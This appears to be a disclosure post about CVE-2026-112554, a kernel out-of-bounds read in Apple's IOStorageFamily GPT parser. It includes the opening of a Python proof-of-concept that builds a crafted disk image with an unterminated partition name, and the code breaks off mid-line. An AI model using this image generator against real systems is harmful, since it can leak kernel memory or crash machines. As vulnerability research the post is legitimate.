PoC for the IOStorageFamily GPT partition-name over-read (CVE-2026-112554) A developer published a proof-of-concept for CVE-2026-112554, an out-of-bounds read in Apple's IOStorageFamily GPT partition parser. IOGUIDPartitionScheme passes a 72-byte size to a converter expecting a UTF-16 element count, so a 36-unit, non-NUL-terminated partition name causes the kernel to read up to 36 units past the field, leaking adjacent kernel memory into the public IOMedia name or panicking the kernel if the read hits unmapped memory. The PoC crafts a disk image placing the unterminated name in the last GPT table entry so the over-read exits the 512-byte table buffer. | | /usr/bin/env python3 | | | """ | | | PoC for the IOStorageFamily GPT partition-name over-read CVE-2026-112554 . | | | https://seriot.ch/security/iostoragefamily.html | | | IOGUIDPartitionScheme passes sizeof ent name == 72 BYTES to a converter that | | | expects a count of UTF-16 elements. A 36-unit, non-NUL-terminated name therefore | | | makes the kernel read up to 36 units PAST the end of the field, and those bytes | | | end up in the public IOMedia name. | | | This image puts that unterminated name in the LAST table entry, so the over-read | | | exits the 512-byte table buffer into adjacent kernel memory and those bytes are | | | appended to the public IOMedia name. If the read reaches unmapped memory the | | | kernel panics instead. | | | """ | | | import binascii | | | import struct | | | import uuid | | | OUTPUT = "/tmp/crasher.img" | | | SECTOR = 512 | | | ENTRY SIZE = 128 | | | SECTORS = 2048 | | | BASIC = uuid.UUID "EBD0A0A2-B9E5-4433-87C0-68B6B72699C7" Basic Data partition type | | | def u16 text : | | | return text.encode "utf-16-le" | | | def entry name, start, end, terminate=True : | | | """One 128-byte GPT entry. With terminate=False the 72-byte name field is | | | left completely full no NUL , so the converter reads past it.""" | | | guids = BASIC.bytes le + uuid.uuid4 .bytes le | | | body = guids + struct.pack "